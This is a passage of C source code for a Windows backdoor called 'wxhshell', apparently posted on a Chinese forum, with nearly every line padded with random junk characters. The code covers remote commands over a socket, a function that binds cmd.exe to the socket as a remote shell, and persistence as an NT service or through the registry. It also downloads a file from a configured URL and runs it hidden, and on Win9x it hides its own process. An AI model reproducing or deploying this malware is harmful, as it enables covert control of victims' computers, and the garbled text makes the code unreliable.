  } ~r&+18Z;  
  else { |};-.}u^`h  
a'?V:3 ]  
    switch(cmd[0]) { !H~PF*,hY  
  64t:  
  // 帮助 !&R|P|7qN}  
  case '?': { a=M/0N{!  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); )jm!^m  
    break; z~#d@c\  
  } 9]QHwa>_|2  
  // 安装 Z*YS7 ~  
  case 'i': { n,`j~.l-=>  
    if(Install()) 3Hf_!C=g  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); HEF\TH9  
    else <STE~ZmO  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %Q zk aXJ  
    break; ,Gy2$mglB  
    } c6tH'oV  
  // 卸载 (B Ig  
  case 'r': { -?vVV@W-O^  
    if(Uninstall()) wLy:S.r  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ];\XA;aOl}  
    else =" pNE#  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .GIygU_  
    break; co{i~['u  
    } op61-:q/  
  // 显示 wxhshell 所在路径 cq}i)y  
  case 'p': { cRP!O|I`]  
    char svExeFile[MAX_PATH]; ow*^z78M{  
    strcpy(svExeFile,"\n\r"); ;nKhmcQ4  
      strcat(svExeFile,ExeFile); eHU b4,%P  
        send(wsh,svExeFile,strlen(svExeFile),0); dUkZ_<5''  
    break; 7AQv4  
    } 15R:m:T  
  // 重启 [FeN(8hGS  
  case 'b': { *|6*jU  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); x$.0 :jP/s  
    if(Boot(REBOOT)) oW3Uyj  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); s,-}}6WO  
    else { /}nq?Vf  
    closesocket(wsh); ]fJ9.Js  
    ExitThread(0); -=)+)9~G  
    } Q; BD|95nl  
    break; C;oO=R3r  
    } e(vnnv?R{  
  // 关机 yZ,S$tSR  
  case 'd': { {VKP&{~O  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ksF4m_E>YB  
    if(Boot(SHUTDOWN)) rAS2qt  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >w#&fd  
    else { %FLe@.Ep{D  
    closesocket(wsh); ()zn8_z  
    ExitThread(0); duoM >B>8]  
    } !r4B1fX  
    break; =4K:l}}  
    } kg^5D3!2{Q  
  // 获取shell ]P)2Q!X  
  case 's': { QG5)mIJ  
    CmdShell(wsh); JY$+<`XM  
    closesocket(wsh); 8$38>cGY^  
    ExitThread(0); L[MAc](me-  
    break; 1aoKf F(  
  } x/IAc6H~_8  
  // 退出 v-}B T+  
  case 'x': { vWjHHw  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); U,Th-oU  
    CloseIt(wsh);  %9_jF"  
    break; D{^CJ :n  
    } N\85fPSMG|  
  // 离开 )5w#n1  
  case 'q': { kcE86Y=|x!  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); +q] kpkG!  
    closesocket(wsh); U|v@v@IBA  
    WSACleanup(); +5H1n(6)  
    exit(1); "O8iO!:  
    break; 9XX:_9|I  
        } `2n%Lo?_  
  } !XO"lS  
  } ,$"T/yYer  
&"clBR Vg  
  // 提示信息 j4$NQ]e^4  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -P28pVX`  
} A#nSK#wS61  
  } NUX$)c  
nBzju?X)I  
  return; 0">9n9  
} s(y=u>  
Gg6<4T1  
// shell模块句柄 S(G&{KG  
int CmdShell(SOCKET sock) G1ED=N_#  
{ jk1mP6'P|  
STARTUPINFO si; mw~$;64;a  
ZeroMemory(&si,sizeof(si)); a ~F\ 2`Q  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; XRXQ 7\n  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; K.42 VM)F  
PROCESS_INFORMATION ProcessInfo; [k60=$y  
char cmdline[]="cmd"; +4V"&S|&  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); c? >;UzM  
  return 0; $mn+  
} AhQsv.t   
o= &/ ;X  
// 自身启动模式 iy [W:<c7j  
int StartFromService(void) qjf9ZD&  
{ gFr-P!3  
typedef struct (4C_Ft*~j  
{ ,9~qLQ0O  
  DWORD ExitStatus; 8!qzG4F/  
  DWORD PebBaseAddress; !uAqY\Is  
  DWORD AffinityMask; nI,-ftMD-|  
  DWORD BasePriority; XF`?5G~~#  
  ULONG UniqueProcessId; $pj;CoPm  
  ULONG InheritedFromUniqueProcessId; eV(   
}   PROCESS_BASIC_INFORMATION; 4*?i!<N9  
a4Y43n  
PROCNTQSIP NtQueryInformationProcess; aR}Il&  
}nMp.7b  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; j9*5Kj  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ~[:Cl  
y@Ak_]{b  
  HANDLE             hProcess; 0t -=*7w%  
  PROCESS_BASIC_INFORMATION pbi; #* Iyvx  
)J1xO^tE  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 0> U7]wZKc  
  if(NULL == hInst ) return 0; ShJBOaE; -  
J@o$V- KK  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); A<[BR*n  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 5XinZ~  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); o| 9Mj71  
i=\`f& B  
  if (!NtQueryInformationProcess) return 0; oTk?a!Q  
8 G:f[\^  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); O{wt0 \P  
  if(!hProcess) return 0; Pk )H(,  
H+ 7Fw'u  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ~) vz`bD1  
7t|011<  
  CloseHandle(hProcess); sEcg;LFp  
pZ&?uo67_  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Df=Xbf>jt9  
if(hProcess==NULL) return 0; HA3d9`  
~jMfm~  
HMODULE hMod; E/3<8cV  
char procName[255]; u*8x.UE8C0  
unsigned long cbNeeded; /`b`ai8`8  
m-HBoN  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 7X/KQ97  
ZW`wA2R0   
  CloseHandle(hProcess); m&k l_f7  
`tJ"wpCf6  
if(strstr(procName,"services")) return 1; // 以服务启动 Wrs6t  
 t`'5|  
  return 0; // 注册表启动 mZ#h p}\.  
} !.[H !-V.  
_PGS"O?j  
// 主模块 sQ8kLS_q8  
int StartWxhshell(LPSTR lpCmdLine) KvtJ tql;  
{ '?qI_LP?  
  SOCKET wsl; i`7:^v;  
BOOL val=TRUE; }/M`G]wT#  
  int port=0; +lw*/\7  
  struct sockaddr_in door; 2;`WI:nt  
<L:}u!  
  if(wscfg.ws_autoins) Install(); ~o8x3`CoF  
`W'S'?$  
port=atoi(lpCmdLine); $B?IE#7S4  
E\*M4n\!  
if(port<=0) port=wscfg.ws_port; h[r)HX0hA  
}W5~89"  
  WSADATA data; I$JyAj  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; _E4_k%8y  
;6{{hc4  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   s1 (UOd7}  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); D@`"99z  
  door.sin_family = AF_INET; .*nr3dY  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); {lNG:o  
  door.sin_port = htons(port); i#(+Kxr]>  
Y>I9o)KR  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Mb(hdS90  
closesocket(wsl); 2R~[B]2"r  
return 1; (n4Uc308  
} &f<Ltdw  
-\V;Gw8mD  
  if(listen(wsl,2) == INVALID_SOCKET) { Zxn>]Z_  
closesocket(wsl); 7nk3^$|  
return 1; j:xm>X'  
} uF<\|y rFt  
  Wxhshell(wsl); YL9Tsw  
  WSACleanup(); XrN]}S$N  
vfOG(EkG.?  
return 0; T,5(JP(h3  
NU.YL1  
} o;'-^ LJ  
z i3gE$7  
// 以NT服务方式启动 Jp +h''t  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Ql? >,FZ  
{ F7U$ 7(I2G  
DWORD   status = 0; HC(o;,spO  
  DWORD   specificError = 0xfffffff; ?<D1] Xv  
ky@DH(^>  
  serviceStatus.dwServiceType     = SERVICE_WIN32; `a]feAl  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; CAbT9W z&  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; P B"nf|pm  
  serviceStatus.dwWin32ExitCode     = 0; [G7S  
  serviceStatus.dwServiceSpecificExitCode = 0; X A-,  
  serviceStatus.dwCheckPoint       = 0; "In$|A\?E  
  serviceStatus.dwWaitHint       = 0; <gx"p#JbZ  
g/`z.?  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); K#a_7/!v/  
  if (hServiceStatusHandle==0) return; !-s6B  
uEDvdd#V.  
status = GetLastError(); l8RKwECdPn  
  if (status!=NO_ERROR) I0(nRu<  
{ VpWpC&  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; V;1i/{  
    serviceStatus.dwCheckPoint       = 0;  4B'-tV  
    serviceStatus.dwWaitHint       = 0; _>i<`k  
    serviceStatus.dwWin32ExitCode     = status; ?oQAxb&  
    serviceStatus.dwServiceSpecificExitCode = specificError; [OQ+&\  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); mM-7 j z  
    return; 3Qu Ft~@@  
  } GE |P)VO  
h SU|rVi  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; f}{Oj-:"CC  
  serviceStatus.dwCheckPoint       = 0; |5me }!C  
  serviceStatus.dwWaitHint       = 0; 95 oh}c  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); d6{0[T^L  
} y\}<N6  
l#;o^H i  
// 处理NT服务事件,比如:启动、停止 @rxfOc0J#  
VOID WINAPI NTServiceHandler(DWORD fdwControl) r9$7P?zm  
{ 1zc-$B`t  
switch(fdwControl) m'5rzZP  
{ <R8!fc{`  
case SERVICE_CONTROL_STOP: lBfG#\rdW~  
  serviceStatus.dwWin32ExitCode = 0; J]qx4c  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; hdurT  
  serviceStatus.dwCheckPoint   = 0; Wj\< )cH]  
  serviceStatus.dwWaitHint     = 0; -0Q^k\X-  
  { >@L^^ -r  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); z|sR `]K  
  } Fn*)!,)  
  return; PZSi}j/  
case SERVICE_CONTROL_PAUSE: 5vjtF4}7!  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; xZp`Ke!  
  break; 7G9o%!D5  
case SERVICE_CONTROL_CONTINUE: o]m56  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; I>45xVA  
  break; q?Av5TFf  
case SERVICE_CONTROL_INTERROGATE: 't un;Y  
  break; p$bR M`R&s  
}; ;Ak 6*Sr  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6%2\bI.#  
} )}5f'TK  
O - N> X  
// 标准应用程序主函数 'EsdYx5C  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) >}>cJh6  
{ KfMaVU=4P  
j!hdi-aTU  
// 获取操作系统版本 k{B;J\`E;  
OsIsNt=GetOsVer();  hPgDK.R'  
GetModuleFileName(NULL,ExeFile,MAX_PATH); lr&O@ 5"oy  
`~{ 0  
  // 从命令行安装 =@ "'aCU/  
  if(strpbrk(lpCmdLine,"iI")) Install(); @-5V~itW  
- u'5xn7  
  // 下载执行文件 L$s ;tJ   
if(wscfg.ws_downexe) { h|Udw3N1L  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) &Un^ _M  
  WinExec(wscfg.ws_filenam,SW_HIDE); Pqb])-M9p  
} ]>k>Z#8E*  
7="I;  
if(!OsIsNt) { !nyUAZ9 :  
// 如果时win9x,隐藏进程并且设置为注册表启动 iXFN|ml  
HideProc(); 7P7d[KP<  
StartWxhshell(lpCmdLine); %eLf6|1x  
} .T }q"  
else ,?Nc\Q<:  
  if(StartFromService()) 5sK1rDN  
  // 以服务方式启动 :} 9Lb)Yp  
  StartServiceCtrlDispatcher(DispatchTable); TrC :CL  
else 7T-}oNaJA\  
  // 普通方式启动 Wf!<Qot|R#  
  StartWxhshell(lpCmdLine); d@,3P)?  
&P3ep[]j  
return 0; Y"Y+U`Qt  
}
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只看该作者 1 发表于: 2006-10-10
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